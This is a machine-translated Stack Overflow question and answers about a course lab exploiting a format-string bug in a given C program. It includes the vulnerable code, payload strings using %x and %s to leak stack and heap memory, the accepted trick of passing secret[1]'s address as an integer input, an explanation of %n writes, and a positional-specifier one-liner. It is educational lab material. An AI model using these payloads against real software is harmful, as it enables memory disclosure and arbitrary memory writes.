Доступ ко второму элементу массива при атаке на уязвимость строки формата

Я работаю над лабораторией уязвимостей форматной строки, где нам дали следующий код:

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; 
  secret[1] = SECRET2;

  printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
  }

Мы вообще не должны изменять код. Используя только ввод, у нас есть 4 цели: сбой программы, печать значения в секрете[1], изменение значения в секрете[1] и изменение значения в секрете[1] до заранее определенного значения.

Пример вывода, который я получаю:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025

Итак, введя 8 "%08x", я печатаю адрес секрета + 4, затем я печатаю адреса целых чисел a, b, c и d - но поскольку я никогда не давал им значения, они не указывают в любом месте и просто отображать 0. После этого следует десятичный ввод I, выбранный таким образом, чтобы «ffff» был четко виден. Далее идет адрес secret[0], затем я попадаю в другие значения, хранящиеся в программе.

Если бы я ввел AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., после .0804a008 было бы .41414141, потому что там были бы сохранены буквы A из введенной строки.

Программу довольно легко сломать: достаточное количество %s на вводе строки вызывает segfault. Теперь мне нужно прочитать значение в секрете [1], и я полностью потерян. Я попытался каким-то образом поместить адрес в стек, поместив его в начало строки, например: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, но адрес никуда не проталкивается, и я просто печатаю secret[0] (что, для любопытных, это «Д»). Я перепробовал все виды адресов, но через некоторое время понял, что просто сохраняю их все в виде строки, где ранее появлялись эти A. Они не преобразуются в шестнадцатеричные или что-то в этом роде.

Я видел много обсуждений этого кода в SA и других местах, но я еще не видел, чтобы кто-нибудь говорил о том, как вы получаете значения в секрете[1].

Любая помощь будет принята с благодарностью.


person Max    schedule 17.04.2013    source источник


Ответы (3)


Чтобы получить доступ к секрету [1], вы должны ввести его адрес в качестве целочисленного ввода.

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
person Jonatan Goebel    schedule 17.04.2013
comment
Да, это то, чего мне не хватало. Чувствовал себя ПОЛНЫМ идиотом после того, как узнал об этом. Спасибо! - person Max; 18.04.2013

Хитрость заключается в использовании спецификатора %n в заданной пользователем строке формата. %n говорит взять количество записанных байтов и сохранить их по адресу, на который указывает следующий аргумент. Когда вы не предоставляете достаточное количество аргументов для printf, тогда адрес, по которому он записывает, является любым значением, которое окажется следующим в стеке. Если вы можете использовать этот адрес так, как вам нужно, то вы можете записать 4-байтовое целое число в любом месте памяти.

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");
person Adam Rosenfield    schedule 17.04.2013
comment
Это правильно, но вы немного опередили меня: я запутался, пытаясь просто найти значения, которых не было в стеке. Когда значения доступны, их не так уж сложно изменить. Я все время пропускал до боли очевидный ответ, возможно, поэтому вы объяснили более сложную (или, по крайней мере, более интересную) часть. - person Max; 18.04.2013

Фактически вы можете указать смещение непосредственно в строке формата.

eg.

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog
person Mike    schedule 13.10.2014